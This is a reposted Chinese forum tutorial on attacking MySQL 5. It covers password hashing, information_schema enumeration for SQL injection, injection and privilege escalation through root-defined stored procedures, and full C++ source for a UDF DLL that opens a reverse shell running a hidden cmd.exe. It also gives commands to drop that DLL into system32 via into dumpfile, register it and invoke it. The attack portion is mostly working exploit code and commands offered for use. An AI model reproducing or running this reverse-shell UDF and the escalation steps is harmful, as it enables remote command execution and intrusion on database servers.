返回列表 发帖

[转帖]hacking by mysql5

Mysql5增加很多新的功能,开始支持:存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然,但是新的东西的出来,必定也会带来新的安全问题,如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢?下面我给大家介绍下mysql5在安全方面的特点: 一、password authentication mysql5的password()和mysql4.1一样,采用的基于SHA1的41位hash: mysql> select password(';mypass';); +-------------------------------------------+ | password(';mypass';) | +-------------------------------------------+ | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 | +-------------------------------------------+ 1 row in set (0.00 sec) 在mysql4.1以前的password hashes是基于16位md5: mysql> Select PASSWORD(';mypass';); +--------------------+ | PASSWORD(';mypass';) | +--------------------+ | 6f8c114b58f2ce9e | +--------------------+ 当使用低版本的Client连接时,回出现错误:Client does not support authentication protocol,为了解决这个问题,mysql5提供了一个old_password(),就相当于mysql4.1以前的的password(): mysql> select old_password(';mypass';); +------------------------+ | old_password(';mypass';) | +------------------------+ | 6f8c114b58f2ce9e | +------------------------+ 1 row in set (0.09 sec) 二、数据字典(information_schema) 和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema mysql> use information_schema; Database changed mysql> show tables; +---------------------------------------+ | Tables_in_information_schema | +---------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | STATISTICS | | TABLES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TRIGGERS | | VIEWS | | USER_PRIVILEGES | +---------------------------------------+ 16 rows in set (0.17 sec) 在这个数据库里我们可以得到很多信息,包括当前用户权限: mysql> select * from information_schema.USER_PRIVILEGES; +-----------+---------------+----------------+--------------+ | GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE | +-----------+---------------+----------------+--------------+ | ';KK1';@';%'; | NULL | USAGE | NO | +-----------+---------------+----------------+--------------+ 1 row in set (0.02 sec) 当前用户权限下可以访问的数据库,表,列名(这个在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯): mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS TICS; +--------------+------------+-------------+ | TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | +--------------+------------+-------------+ | in | article | articleid | | in | user | userid | +--------------+------------+-------------+ 2 rows in set (0.02 sec) 还可以得到当前用户权限下的VIEWS,ROUTINES等,关于ROUTINES我们在下面的‘存储过程’里详细介绍。 [ps:注意是‘当前用户权限’如果是root,那么太可以得到所有的数据库名称以及表列名等等] 三、存储过程(Stored Procedures) ';存储过程';的使用是mysql5的一个闪光点,在带来方便的同时,它也带来了新的安全隐患:如sql注射,用户权限提升等等。 D:\mysql5\bin>mysql -uroot -p Enter password: ****** Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 4 to server version: 5.0.18 Type ';help;'; or ';\h'; for help. Type ';\c'; to clear the buffer. mysql> use in Database changed mysql> delimiter // mysql> Create PROCEDURE test(id INT) -> BEGIN -> Select * FROM in.USER Where USERID=ID; -> END// Query OK, 0 rows affected (0.08 sec) mysql> delimiter ; mysql> call test(1); +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ | 1 | angel | mypass | +--------+----------+----------+ 1 row in set (0.00 sec) Query OK, 0 rows affected (0.00 sec) 上面我们使用root在数据库in里创建了一个名为test的存储过程。 a、SQL Injection mysql> call test(1 and 1=1); +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ | 1 | angel | mypass | +--------+----------+----------+ 1 row in set (0.00 sec) Query OK, 0 rows affected (0.01 sec) mysql> call test(1 and 1=2); Empty set (0.00 sec) Query OK, 0 rows affected (0.00 sec) b、跨权限 存储过程是继承创建者的权限的,如果存储过程是root创建的,当其他普通用户使用这个存储过程时,导致跨权限攻击: mysql> grant Select, Insert, Update, Delete, EXECUTE -> ON `IN`.* -> TO ';KK1';@';%'; -> IDENTIFIED BY ';OBSCURE';; Query OK, 0 rows affected (0.03 sec) 上面建立一个KK1的用户只在数据库in中有Select, Insert, Update, Delete, EXECUTE权限,使用KK1登陆: D:\mysql5\bin>mysql -uKK1 -p Enter password: ****** Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 5 to server version: 5.0.18 Type ';help;'; or ';\h'; for help. Type ';\c'; to clear the buffer. mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform ation_schema.ROUTINES; +----------------+--------------+----------------+--------------------+ | ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION | +----------------+--------------+----------------+--------------------+ | in | test | root@localhost | | | in | tt | root@localhost | | +----------------+--------------+----------------+--------------------+ 2 rows in set (0.01 sec) 我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限: mysql> call in.test(1 and length(load_file(';c:/boot.ini';))>0); +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ | 1 | angel | mypass | +--------+----------+----------+ 1 row in set (0.00 sec) Query OK, 0 rows affected (0.01 sec) mysql> call in.test(1 and length(load_file(';c:/boot.ini';))<0); Empty set (0.00 sec) Query OK, 0 rows affected (0.00 sec) 没有file权限的KK1可以使用in.test使用load_file(),我们还可以直接对mysql.user进行select,如果存储过程可以updata,insert注射,那么我们可以普通用户直接通过注射来修改mysql.user里的数据。 四、User-Defined Function [ps:下面都是基于win系统] mysql5的udf在格式和安全方面做一些新的改变: 1、格式要求更加严格[xxx_init()初始化函数] 对于没有xxx_init()初始化函数 在以前的版本是可以使用的,但是在mysql5下会出现Can';t find function ';xxx_init'; in library的错误,如: mysql> create function ExitProcess returns integer soname ';kernel32';; ERROR 1127 (HY000): Can';t find function ';ExitProcess_init'; in library 下面给出的代码是好友云舒写的,符合mysql5的udf格式要求可以在mysql5下使用: /******************************************************************************* * 文件: MySQL_Shell.cpp * Author: 云舒(wustyunshu at hotmail dot com) * Date: 2005-12-12 *******************************************************************************/ #include #include #include #define MAKE_DLL /* Build dll here */ #include "MySQL_Shell.h" #pragma comment( lib, "ws2_32" ) #define BUFFER_SIZE 1024 /////////////////////////////////////////////////////////////////////////////// //函数原型 /////////////////////////////////////////////////////////////////////////////// BOOL StartWith( char *, char * ); void LogMsg( char * ); /////////////////////////////////////////////////////////////////////////////// //MySQL模块初始化函数 /////////////////////////////////////////////////////////////////////////////// LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message ) { if ( args->arg_count != 2 ) { strcpy( message, "Shell() requires two arguments" ); return 1; } if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) ) { strcpy( message, "Shell() requires two string arguent" ); return 1; } return 0; } /////////////////////////////////////////////////////////////////////////////// //MySQL模块主功能函数,反向连接提供shell /////////////////////////////////////////////////////////////////////////////// LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error ) { SOCKET sock; SOCKADDR_IN sin; int ret; // Create socket sock = socket( AF_INET, SOCK_STREAM, 0 ); if ( sock == INVALID_SOCKET ) { strcpy( error, "Create socket error" ); return -1; } sin.sin_family = AF_INET; sin.sin_port = htons( atoi(args->args[1]) ); sin.sin_addr.s_addr = inet_addr( args->args[0] ); //connect to remote server ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) ); if( ret == SOCKET_ERROR ) { strcpy( error, "Connect error" ); return -1; } SECURITY_ATTRIBUTES sa; sa.nLength = sizeof( sa ); sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 ); ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 ); STARTUPINFO si; ZeroMemory( &si, sizeof(si) ); GetStartupInfo( &si ); si.cb = sizeof( si ); si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; PROCESS_INFORMATION processInfo; char cmdLine[] = "cmd.exe"; ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) ); ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo); char buff[BUFFER_SIZE] = { 0 }; unsigned long bytesRead = 0; int i = 0; while( TRUE ) { memset( buff, 0, BUFFER_SIZE ); ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 ); for(i = 0; i < 5 && bytesRead == 0; i++) { Sleep(100); ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL ); } if( bytesRead ) { ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 ); if( !ret ) break; ret = send( sock, buff, bytesRead, 0 ); if( ret <= 0 ) break; } else { bytesRead = recv( sock, buff, BUFFER_SIZE, 0 ); if( bytesRead <= 0 ) break; if( StartWith( buff , "exit" ) == TRUE ) break; ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 ); if( !ret ) break; } } TerminateProcess( processInfo.hProcess, 0 ); CloseHandle( hReadPipe1 ); CloseHandle( hReadPipe2 ); CloseHandle( hWritePipe1 ); CloseHandle( hWritePipe2 ); closesocket( sock ); return 0; } /////////////////////////////////////////////////////////////////////////////// //判断字符串是否以另一个字符串开头 /////////////////////////////////////////////////////////////////////////////// BOOL StartWith( char *buf1, char *buf2 ) { int len = strlen(buf2); if( memcmp( buf1,buf2,len ) == 0 ) { return TRUE; } return FALSE; } /////////////////////////////////////////////////////////////////////////////// //记录日志信息,调试用 /////////////////////////////////////////////////////////////////////////////// void LogMsg( char *msg ) { FILE *fp; fp = fopen( "C:\mysql.txt", "a+" ); fputs( msg, fp ); fclose( fp ); } /******************************************************************************* * 文件: MySQL_Shell.h * Author: 云舒(wustyunshu at hotmail dot com) * Date: 2005-12-12 *******************************************************************************/ #ifdef MAKE_DLL #define LIB extern "C" __declspec(dllexport) #else #define LIB extern "C" __declspec(dllimport) #endif #define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */ typedef char my_bool; enum Item_result { STRING_RESULT,REAL_RESULT,INT_RESULT }; typedef struct st_udf_args { unsigned int arg_count; /* Number of arguments */ enum Item_result *arg_type; /* Pointer to item_results */ char **args; /* Pointer to argument */ unsigned long *lengths; /* Length of string arguments */ char *maybe_null; /* Set to 1 for all maybe_null args */ } UDF_ARGS; typedef struct st_udf_init { my_bool maybe_null; /* 1 if function can return NULL */ unsigned int decimals; /* for real functions */ unsigned int max_length; /* For string functions */ char *ptr; /* free pointer for function data */ char const_item; /* 0 if result is independent of arguments */ } UDF_INIT; LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * ); LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * ); 2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。 对于一般低权限的系统用户是没有对system32目录写权限的,在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破,具体如下: mysql> use mysql; Database changed mysql> create table heige(line blob); Query OK, 0 rows affected (0.50 sec) mysql> insert into heige values(load_file(';c:/udf.dll';)); Query OK, 1 row affected (0.08 sec) mysql> select * from heige into dumpfile ';c:/winnt/system32/heige.dll';; Query OK, 1 row affected (0.18 sec) mysql> create function shell returns integer soname ';heige.dll';; Query OK, 0 rows affected (0.07 sec) mysql> select * from mysql.func; +-------+-----+-----------+----------+ | name | ret | dl | type | +-------+-----+-----------+----------+ | shell | 2 | heige.dll | function | +-------+-----+-----------+----------+ 1 row in set (0.00 sec) mysql> select shell(';127.0.0.1';,';1234';); +---------------------------+ | shell(';127.0.0.1';,';1234';) | +---------------------------+ | NULL | +---------------------------+ 1 row in set (0.97 sec)

返回列表 回复 发帖